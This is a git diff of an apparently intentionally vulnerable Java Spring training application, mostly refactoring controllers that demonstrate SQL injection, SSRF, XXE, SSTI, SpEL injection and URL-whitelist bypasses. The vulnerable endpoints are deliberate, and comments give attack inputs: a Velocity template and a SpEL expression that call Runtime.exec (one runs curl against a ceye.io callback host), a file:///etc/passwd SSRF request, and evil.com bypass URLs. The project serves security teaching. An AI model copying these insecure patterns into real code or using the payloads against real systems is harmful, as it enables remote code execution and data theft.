b/src/main/java/org/joychou/controller/SQLI.java @@ -16,7 +16,8 @@ /** * SQL Injection - * @author JoyChou @2018.08.22 + * + * @author JoyChou @2018.08.22 */ @SuppressWarnings("Duplicates") @@ -47,39 +48,40 @@ public class SQLI { * @param username username */ @RequestMapping("/jdbc/vuln") - public String jdbc_sqli_vul(@RequestParam("username") String username){ - String result = ""; + public String jdbc_sqli_vul(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); + try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); - if(!con.isClosed()) - System.out.println("Connecting to Database successfully."); + if (!con.isClosed()) + System.out.println("Connect to database successfully."); // sqli vuln code - Statement statement = con.createStatement(); - String sql = "select * from users where username = '" + username + "'"; - logger.info(sql); - ResultSet rs = statement.executeQuery(sql); + Statement statement = con.createStatement(); + String sql = "select * from users where username = '" + username + "'"; + logger.info(sql); + ResultSet rs = statement.executeQuery(sql); - while(rs.next()){ + while (rs.next()) { String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); - result += res_name + ": " + res_pwd + "\n"; - logger.info(res_name + ": " + res_pwd); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); } rs.close(); con.close(); - }catch (ClassNotFoundException e) { + } catch (ClassNotFoundException e) { logger.error("Sorry,can`t find the Driver!"); - }catch (SQLException e) { - logger.error(e.toString()); - }catch (Exception e) { + } catch (SQLException e) { logger.error(e.toString()); } - return result; + return result.toString(); } @@ -90,42 +92,42 @@ public String jdbc_sqli_vul(@RequestParam("username") String username){ * @param username username */ @RequestMapping("/jdbc/sec") - public String jdbc_sqli_sec(@RequestParam("username") String username){ + public String jdbc_sqli_sec(@RequestParam("username") String username) { - String result = ""; + StringBuilder result = new StringBuilder(); try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); - if(!con.isClosed()) + if (!con.isClosed()) System.out.println("Connecting to Database successfully."); // fix code String sql = "select * from users where username = ?"; PreparedStatement st = con.prepareStatement(sql); st.setString(1, username); + logger.info(st.toString()); // sql after prepare statement ResultSet rs = st.executeQuery(); - while(rs.next()){ + while (rs.next()) { String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); - result += res_name + ": " + res_pwd + "\n"; - logger.info(res_name + ": " + res_pwd); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); } rs.close(); con.close(); - }catch (ClassNotFoundException e) { - logger.error("Sorry,can`t find the Driver!"); + } catch (ClassNotFoundException e) { + logger.error("Sorry, can`t find the Driver!"); e.printStackTrace(); - }catch (SQLException e) { - logger.error(e.toString()); - }catch (Exception e) { + } catch (SQLException e) { logger.error(e.toString()); } - return result; + return result.toString(); } /** @@ -169,7 +171,6 @@ public User mybatisSec01(@RequestParam("username") String username) { } /** - * security code * http://localhost:8080/sqli/mybatis/sec02?id=1 * * @param id id @@ -181,9 +182,8 @@ public User mybatisSec02(@RequestParam("id") Integer id) { /** - * security code * http://localhost:8080/sqli/mybatis/sec03 - **/ + */ @GetMapping("/mybatis/sec03") public User mybatisSec03() { return userMapper.OrderByUsername(); diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 5b74049e..e9c30d0e 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -1,6 +1,5 @@ package org.joychou.controller; -import com.google.common.io.Files; import com.squareup.okhttp.OkHttpClient; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.methods.GetMethod; @@ -12,6 +11,7 @@ import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.joychou.security.SecurityUtil; +import org.joychou.util.WebUtils; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.slf4j.Logger; @@ -41,8 +41,7 @@ public class SSRF { private static Logger logger = LoggerFactory.getLogger(SSRF.class); @RequestMapping("/urlConnection") - public static String ssrf_URLConnection(@RequestParam String url) - { + public static String ssrf_URLConnection(@RequestParam String url) { try { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); @@ -55,7 +54,7 @@ public static String ssrf_URLConnection(@RequestParam String url) } in.close(); return html.toString(); - }catch(Exception e) { + } catch (Exception e) { logger.error(e.toString()); return "fail"; } @@ -64,12 +63,11 @@ public static String ssrf_URLConnection(@RequestParam String url) @RequestMapping("/HttpURLConnection") @ResponseBody - public static String ssrf_httpURLConnection(@RequestParam String url) - { + public static String ssrf_httpURLConnection(@RequestParam String url) { try { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); - HttpURLConnection httpUrl = (HttpURLConnection)urlConnection; + HttpURLConnection httpUrl = (HttpURLConnection) urlConnection; BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request String inputLine; StringBuilder html = new StringBuilder(); @@ -79,7 +77,7 @@ public static String ssrf_httpURLConnection(@RequestParam String url) } in.close(); return html.toString(); - }catch(Exception e) { + } catch (Exception e) { logger.error(e.toString()); return "fail"; } @@ -88,11 +86,10 @@ public static String ssrf_httpURLConnection(@RequestParam String url) @RequestMapping("/Request") @ResponseBody - public static String ssrf_Request(@RequestParam String url) - { + public static String ssrf_Request(@RequestParam String url) { try { return Request.Get(url).execute().returnContent().toString(); - }catch(Exception e) { + } catch (Exception e) { logger.error(e.toString()); return "fail"; } @@ -102,18 +99,18 @@ public static String ssrf_Request(@RequestParam String url) /** * Download the url file. * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd - * + *

* new URL(String url).openConnection() * new URL(String url).openStream() * new URL(String url).getContent() */ @RequestMapping("/openStream") @ResponseBody - public static void ssrf_openStream (@RequestParam String url, HttpServletResponse response) throws IOException { + public static void ssrf_openStream(@RequestParam String url, HttpServletResponse response) throws IOException { InputStream inputStream = null; OutputStream outputStream = null; try { - String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url); + String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url); // download response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName); @@ -126,16 +123,15 @@ public static void ssrf_openStream (@RequestParam String url, HttpServletRespons outputStream.write(bytes, 0, length); } - }catch (Exception e) { + } catch (Exception e) { logger.error(e.toString()); - }finally { + } finally { if (inputStream != null) { inputStream.close(); } if (outputStream != null) { outputStream.close(); } - } } @@ -162,36 +158,41 @@ public static void ssrf_okhttp(@RequestParam String url) throws IOException { /** - * http://localhost:8080/ssrf/HttpClient?url=http://www.baidu.com + * http://localhost:8080/ssrf/HttpClient/sec?url=http://www.baidu.com * * @return The response of url param. */ - @RequestMapping("/HttpClient") + @RequestMapping("/HttpClient/sec") @ResponseBody public static String ssrf_HttpClient(@RequestParam String url) { - CloseableHttpClient client = HttpClients.createDefault(); - HttpGet httpGet = new HttpGet(url); + StringBuilder result = new StringBuilder(); try { + SecurityUtil.startSSRFHook(); + CloseableHttpClient client = HttpClients.createDefault(); + HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse = client.execute(httpGet); // send request BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); - StringBuilder result = new StringBuilder(); - String line = null; + + String line; while ((line = rd.readLine()) != null) { result.append(line); } + + // SecurityUtil.stopSSRFHook(); return result.toString(); - }catch (Exception e) { - e.printStackTrace(); - return "fail"; - } + } catch (Exception e) { + return e.toString(); + } finally { + SecurityUtil.stopSSRFHook(); + } } /** * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient * UserAgent: Jakarta Commons-HttpClient/3.1 (2007.08 publish) - * + *

* http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com */ @RequestMapping("/commonsHttpClient/sec") @@ -230,7 +231,7 @@ public static String commonsHttpClient(@RequestParam String url) { /** * jsoup是一款Java的HTML解析器,可直接解析某个URL地址、HTML文本内容。 - * + *

* http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com */ @RequestMapping("/Jsoup") @@ -279,14 +280,13 @@ public static String IOUtils(@RequestParam String url) { /** * Safe code. * http://localhost:8080/ssrf/ImageIO/sec?url=http://www.baidu.com - * */ @RequestMapping("/ImageIO/sec") public static String ImageIOSec(@RequestParam String url) { try { URL u = new URL(url); if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { - logger.error("[-] SSRF check failed. Original Url: "+ url); + logger.error("[-] SSRF check failed. Original Url: " + url); return "SSRF check failed."; } ImageIO.read(u); // send request diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java index 70e7c7a6..0c44eb93 100644 --- a/src/main/java/org/joychou/controller/SSTI.java +++ b/src/main/java/org/joychou/controller/SSTI.java @@ -17,14 +17,14 @@ public class SSTI { /** * SSTI of Java velocity. The latest Velocity version still has this problem. * Fix method: Avoid to use Velocity.evaluate method. - * + *

* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22) * Open a calculator in MacOS. * * @param template exp */ @GetMapping("/velocity") - private static void velocity(String template){ + public void velocity(String template) { Velocity.init(); VelocityContext context = new VelocityContext(); diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java index 07be7d7e..6d06ffc7 100644 --- a/src/main/java/org/joychou/controller/SpEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -20,18 +20,18 @@ public class SpEL { * xxx is urlencode(exp) * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") */ - @RequestMapping("/spel/vul") - private static String rce(String expression) { + @RequestMapping("/spel/vuln") + public String rce(String expression) { ExpressionParser parser = new SpelExpressionParser(); // fix method: SimpleEvaluationContext - String result = parser.parseExpression(expression).getValue().toString(); - return result; + return parser.parseExpression(expression).getValue().toString(); } - public static void main(String[] args) { + public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; String result = parser.parseExpression(expression).getValue().toString(); + System.out.println(result); } } diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java index 902b2269..8bc0d38b 100644 --- a/src/main/java/org/joychou/controller/Test.java +++ b/src/main/java/org/joychou/controller/Test.java @@ -5,7 +5,6 @@ import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @Controller @@ -14,7 +13,7 @@ public class Test { @RequestMapping(value = "/") @ResponseBody - private String Index(HttpServletResponse response, String empId) { + public String Index(HttpServletResponse response, String empId) { System.out.println(empId); Cookie cookie = new Cookie("XSRF-TOKEN", "123"); diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java index d16f0ebb..2b96322e 100644 --- a/src/main/java/org/joychou/controller/URLRedirect.java +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -10,14 +10,15 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; + import org.joychou.security.SecurityUtil; /** * The vulnerability code and security code of Java url redirect. * The security code is checking whitelist of url redirect. * - * @author JoyChou (joychou@joychou.org) - * @version 2017.12.28 + * @author JoyChou (joychou@joychou.org) + * @version 2017.12.28 */ @Controller @@ -38,7 +39,7 @@ public String redirect(@RequestParam("url") String url) { */ @RequestMapping("/setHeader") @ResponseBody - public static void setHeader(HttpServletRequest request, HttpServletResponse response){ + public static void setHeader(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect response.setHeader("Location", url); @@ -50,7 +51,7 @@ public static void setHeader(HttpServletRequest request, HttpServletResponse res */ @RequestMapping("/sendRedirect") @ResponseBody - public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException{ + public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException { String url = request.getParameter("url"); response.sendRedirect(url); // 302 redirect } @@ -64,10 +65,10 @@ public static void sendRedirect(HttpServletRequest request, HttpServletResponse @ResponseBody public static void forward(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); - RequestDispatcher rd =request.getRequestDispatcher(url); - try{ + RequestDispatcher rd = request.getRequestDispatcher(url); + try { rd.forward(request, response); - }catch (Exception e) { + } catch (Exception e) { e.printStackTrace(); } } @@ -80,7 +81,7 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo @RequestMapping("/sendRedirect/sec") @ResponseBody public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) - throws IOException{ + throws IOException { String url = request.getParameter("url"); if (SecurityUtil.checkURL(url) == null) { response.setStatus(HttpServletResponse.SC_FORBIDDEN); diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index f4638524..c4b04dc5 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -15,8 +15,8 @@ * The vulnerability code and security code of Java url whitelist. * The security code is checking url whitelist. * - * @author JoyChou (joychou@joychou.org) - * @version 2018.08.23 + * @author JoyChou (joychou@joychou.org) + * @version 2018.08.23 */ @RestController @@ -26,17 +26,17 @@ public class URLWhiteList { private String domainwhitelist[] = {"joychou.org", "joychou.com"}; private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class); + /** * bypass poc: bypassjoychou.org * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org - * */ @GetMapping("/vuln/endsWith") - public String endsWith(@RequestParam("url") String url) throws Exception{ + public String endsWith(@RequestParam("url") String url) throws Exception { URL u = new URL(url); String host = u.getHost().toLowerCase(); - for (String domain: domainwhitelist){ + for (String domain : domainwhitelist) { if (host.endsWith(domain)) { return "Good url."; } @@ -46,17 +46,17 @@ public String endsWith(@RequestParam("url") String url) throws Exception{ /** - * bypass poc: joychou.org.bypass.com or bypassjoychou.org. + * It's the same with indexOf. + *

* http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org - * */ @GetMapping("/vuln/contains") - public String contains(@RequestParam("url") String url) throws Exception{ + public String contains(@RequestParam("url") String url) throws Exception { URL u = new URL(url); String host = u.getHost().toLowerCase(); - for (String domain: domainwhitelist){ + for (String domain : domainwhitelist) { if (host.contains(domain)) { return "Good url."; } @@ -68,10 +68,9 @@ public String contains(@RequestParam("url") String url) throws Exception{ /** * bypass poc: bypassjoychou.org. It's the same with endsWith. * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org - * */ @GetMapping("/vuln/regex") - public String regex(@RequestParam("url") String url) throws Exception{ + public String regex(@RequestParam("url") String url) throws Exception { URL u = new URL(url); String host = u.getHost().toLowerCase(); @@ -86,34 +85,16 @@ public String regex(@RequestParam("url") String url) throws Exception{ /** - * bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains. - * http://localhost:8080/url/vuln/indexOf?url=http://joychou.org.bypass.com http://bypassjoychou.org - * - */ - @GetMapping("/vuln/indexOf") - public String indexOf(@RequestParam("url") String url) throws Exception{ - URL u = new URL(url); - String host = u.getHost(); - - // If indexOf returns -1, it means that no string was found. - for (String domain: domainwhitelist){ - if (host.indexOf(domain) != -1) { - return "Good url."; - } - } - return "Bad url."; - } - - /** - * The bypass of using java.net.URL to getHost. - * + * The bypass of using java.net.URL to getHost. + *

* Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' - * - * Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass + *

+ * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass */ @GetMapping("/vuln/url_bypass") - public String url_bypass(@RequestParam("url") String url) throws Exception{ + public String url_bypass(String url) throws Exception { + logger.info("url: " + url); URL u = new URL(url); @@ -125,7 +106,7 @@ public String url_bypass(@RequestParam("url") String url) throws Exception{ logger.info("host: " + host); // endsWith . - for (String domain: domainwhitelist){ + for (String domain : domainwhitelist) { if (host.endsWith("." + domain)) { return "Good url."; } @@ -135,14 +116,12 @@ public String url_bypass(@RequestParam("url") String url) throws Exception{ } - /** * 一级域名白名单 First-level host whitelist. * http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org - * */ @GetMapping("/sec/endswith") - public String sec_endswith(@RequestParam("url") String url) throws Exception{ + public String sec_endswith(@RequestParam("url") String url) throws Exception { String whiteDomainlists[] = {"joychou.org", "joychou.com"}; @@ -154,7 +133,7 @@ public String sec_endswith(@RequestParam("url") String url) throws Exception{ String host = uri.getHost().toLowerCase(); // endsWith . - for (String domain: whiteDomainlists){ + for (String domain : whiteDomainlists) { if (host.endsWith("." + domain)) { return "Good url."; } @@ -166,10 +145,9 @@ public String sec_endswith(@RequestParam("url") String url) throws Exception{ /** * 多级域名白名单 Multi-level host whitelist. * http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org - * */ @GetMapping("/sec/multi_level_host") - public String sec_multi_level_host(@RequestParam("url") String url) throws Exception{ + public String sec_multi_level_host(@RequestParam("url") String url) throws Exception { String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"}; URI uri = new URI(url); @@ -179,7 +157,7 @@ public String sec_multi_level_host(@RequestParam("url") String url) throws Excep String host = uri.getHost().toLowerCase(); // equals - for (String domain: whiteDomainlists){ + for (String domain : whiteDomainlists) { if (host.equals(domain)) { return "Good url."; } @@ -191,10 +169,9 @@ public String sec_multi_level_host(@RequestParam("url") String url) throws Excep /** * 多级域名白名单 Multi-level host whitelist. * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org - * */ @GetMapping("/sec/array_indexOf") - public String sec_array_indexOf(@RequestParam("url") String url) throws Exception{ + public String sec_array_indexOf(@RequestParam("url") String url) throws Exception { // Define muti-level host whitelist. ArrayList whiteDomainlists = new ArrayList<>(); diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java index 68e89c0c..1c4b8732 100644 --- a/src/main/java/org/joychou/controller/XSS.java +++ b/src/main/java/org/joychou/controller/XSS.java @@ -26,8 +26,7 @@ public class XSS { */ @RequestMapping("/reflect") @ResponseBody - public static String reflect(String xss) - { + public static String reflect(String xss) { return xss; } @@ -40,8 +39,7 @@ public static String reflect(String xss) */ @RequestMapping("/stored/store") @ResponseBody - public String store(String xss, HttpServletResponse response) - { + public String store(String xss, HttpServletResponse response) { Cookie cookie = new Cookie("xss", xss); response.addCookie(cookie); return "Set param into cookie"; @@ -56,19 +54,17 @@ public String store(String xss, HttpServletResponse response) */ @RequestMapping("/stored/show") @ResponseBody - public String show(@CookieValue("xss") String xss) - { + public String show(@CookieValue("xss") String xss) { return xss; } /** * safe Code. * http://localhost:8080/xss/safe - * */ @RequestMapping("/safe") @ResponseBody - public static String safe(String xss){ + public static String safe(String xss) { return encode(xss); } diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java index 20b96147..62616e95 100644 --- a/src/main/java/org/joychou/controller/XStreamRce.java +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -21,14 +21,14 @@ public class XStreamRce { * @author JoyChou @2019-07-26 */ @PostMapping("/xstream") - public String parseXml(HttpServletRequest request) throws Exception{ + public String parseXml(HttpServletRequest request) throws Exception { String xml = WebUtils.getRequestBody(request); XStream xstream = new XStream(new DomDriver()); xstream.fromXML(xml); return "xstream"; } - public static void main(String[] args) throws Exception { + public static void main(String[] args) { User user = new User(); user.setId(0); user.setUsername("admin"); @@ -37,7 +37,7 @@ public static void main(String[] args) throws Exception { String xml = xstream.toXML(user); // Serialize System.out.println(xml); - user = (User)xstream.fromXML(xml); // Deserialize - System.out.println(user.getId() + ": " + user.getUsername() ); + user = (User) xstream.fromXML(xml); // Deserialize + System.out.println(user.getId() + ": " + user.getUsername()); } } diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 1de059ce..f9a4c7fc 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -5,6 +5,7 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.*; + import javax.servlet.http.HttpServletRequest; import org.w3c.dom.Document; @@ -12,13 +13,16 @@ import org.w3c.dom.NodeList; import org.xml.sax.helpers.XMLReaderFactory; import org.xml.sax.XMLReader; + import java.io.*; + import org.xml.sax.InputSource; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.SAXParserFactory; import javax.xml.parsers.SAXParser; + import org.xml.sax.helpers.DefaultHandler; import org.apache.commons.digester3.Digester; import org.jdom2.input.SAXBuilder; @@ -34,7 +38,7 @@ @RequestMapping("/xxe") public class XXE { - private static Logger logger= LoggerFactory.getLogger(XXE.class); + private static Logger logger = LoggerFactory.getLogger(XXE.class); private static String EXCEPT = "xxe except"; @RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST) @@ -235,14 +239,14 @@ public String DocumentBuilderVuln01(HttpServletRequest request) { Document document = db.parse(is); // parse xml // 遍历xml节点name和value - StringBuffer buf = new StringBuffer(); + StringBuilder buf = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); - buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n"); + buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } sr.close(); @@ -268,7 +272,7 @@ public String DocumentBuilderVuln02(HttpServletRequest request) { Document document = db.parse(is); // parse xml // 遍历xml节点name和value - StringBuffer result = new StringBuffer(); + StringBuilder result = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); @@ -277,8 +281,7 @@ public String DocumentBuilderVuln02(HttpServletRequest request) { Node node = child.item(j); // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { - result.append(node.getNodeName() + ": " + - node.getFirstChild().getNodeValue() + "\n"); + result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild())); } } } @@ -329,17 +332,7 @@ public String DocumentBuilderXincludeVuln(HttpServletRequest request) { Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); - - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList xxe = rootNode.getChildNodes(); - for (int j = 0; j < xxe.getLength(); j++) { - Node xxeNode = xxe.item(j); - // 测试不能blind xxe,所以强行加了一个回显 - logger.info("xxeNode: " + xxeNode.getNodeValue()); - } - - } + response(rootNodeList); sr.close(); return "DocumentBuilder xinclude xxe vuln code"; @@ -362,23 +355,14 @@ public String DocumentBuilderXincludeSec(HttpServletRequest request) { dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); - - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList xxe = rootNode.getChildNodes(); - for (int j = 0; j < xxe.getLength(); j++) { - Node xxeNode = xxe.item(j); - // 测试不能blind xxe,所以强行加了一个回显 - logger.info("xxeNode: " + xxeNode.getNodeValue()); - } - - } + response(rootNodeList); sr.close(); } catch (Exception e) { @@ -437,7 +421,7 @@ public String XMLReaderSec(HttpServletRequest request) { */ @PostMapping("/DocumentHelper/vuln") public String DocumentHelper(HttpServletRequest req) { - try{ + try { String body = WebUtils.getRequestBody(req); DocumentHelper.parseText(body); // parse xml } catch (Exception e) { @@ -448,7 +432,21 @@ public String DocumentHelper(HttpServletRequest req) { return "DocumentHelper xxe vuln code"; } - public static void main(String[] args) throws Exception { + + private static void response(NodeList rootNodeList){ + for (int i = 0; i < rootNodeList.getLength(); i++) { + Node rootNode = rootNodeList.item(i); + NodeList xxe = rootNode.getChildNodes(); + for (int j = 0; j < xxe.getLength(); j++) { + Node xxeNode = xxe.item(j); + // 测试不能blind xxe,所以强行加了一个回显 + logger.info("xxeNode: " + xxeNode.getNodeValue()); + } + + } + } + + public static void main(String[] args) { } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java index 6cefe27f..3000d558 100644 --- a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java +++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java @@ -16,7 +16,6 @@ import java.io.IOException; import java.util.Iterator; -import static org.apache.commons.lang.StringUtils.isBlank; /** * Desc: poi-ooxml xxe vuln code @@ -43,7 +42,7 @@ public String index() { @PostMapping("/readxlsx") @ResponseBody - public String ooxml_xxe(MultipartFile file)throws IOException { + public String ooxml_xxe(MultipartFile file) throws IOException { XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln XSSFSheet sheet = wb.getSheetAt(0); @@ -51,29 +50,26 @@ public String ooxml_xxe(MultipartFile file)throws IOException { XSSFCell cell; Iterator rows = sheet.rowIterator(); - String result = ""; + StringBuilder sbResult = new StringBuilder(); - while (rows.hasNext()) - { - row=(XSSFRow) rows.next(); + while (rows.hasNext()) { + + row = (XSSFRow) rows.next(); Iterator cells = row.cellIterator(); - while (cells.hasNext()) - { - cell=(XSSFCell) cells.next(); + + while (cells.hasNext()) { + cell = (XSSFCell) cells.next(); if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) { - result += cell.getStringCellValue()+ " "; - } else if(cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) { - result += cell.getNumericCellValue()+ " "; + sbResult.append(cell.getStringCellValue()).append(" "); + } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) { + sbResult.append(cell.getNumericCellValue()).append(" "); } else { logger.info("errors"); } } } - if ( isBlank(result) ){ - result = "xxe test"; - } - return result; + return sbResult.toString(); } } diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java index 4ca4bf2f..ec054ffd 100644 --- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -33,12 +33,12 @@ public String index() { @PostMapping("/readxlsx") - public void xllx_streamer_xxe(MultipartFile file)throws IOException { - Workbook wb = StreamingReader.builder().open(file.getInputStream()); + public void xllx_streamer_xxe(MultipartFile file) throws IOException { + StreamingReader.builder().open(file.getInputStream()); } public static void main(String[] args) throws Exception { - Workbook wb = StreamingReader.builder().open((new FileInputStream("poc.xlsx"))); + StreamingReader.builder().open((new FileInputStream("poc.xlsx"))); } } diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java index 4e2e9716..32195a27 100644 --- a/src/main/java/org/joychou/filter/OriginFilter.java +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -14,8 +14,8 @@ /** * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。 - * @author JoyChou @ 2019.12.19 * + * @author JoyChou @ 2019.12.19 */ @WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") public class OriginFilter implements Filter { @@ -25,20 +25,20 @@ public void init(FilterConfig filterConfig) throws ServletException { } - private final Logger logger= LoggerFactory.getLogger(this.getClass()); + private final Logger logger = LoggerFactory.getLogger(this.getClass()); @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { - HttpServletRequest request = (HttpServletRequest)req; - HttpServletResponse response = (HttpServletResponse)res; + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; String origin = request.getHeader("Origin"); logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑 - if ( origin != null && SecurityUtil.checkURL(origin) == null) { + if (origin != null && SecurityUtil.checkURL(origin) == null) { logger.error("[-] Origin check error. " + "Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); response.setStatus(response.SC_FORBIDDEN); diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java index b2326f9f..da1030e6 100644 --- a/src/main/java/org/joychou/filter/ReferFilter.java +++ b/src/main/java/org/joychou/filter/ReferFilter.java @@ -18,9 +18,8 @@ /** * Check referer for all GET requests with callback parameters. * If the check of referer fails, a 403 forbidden error page will be returned. - * + *

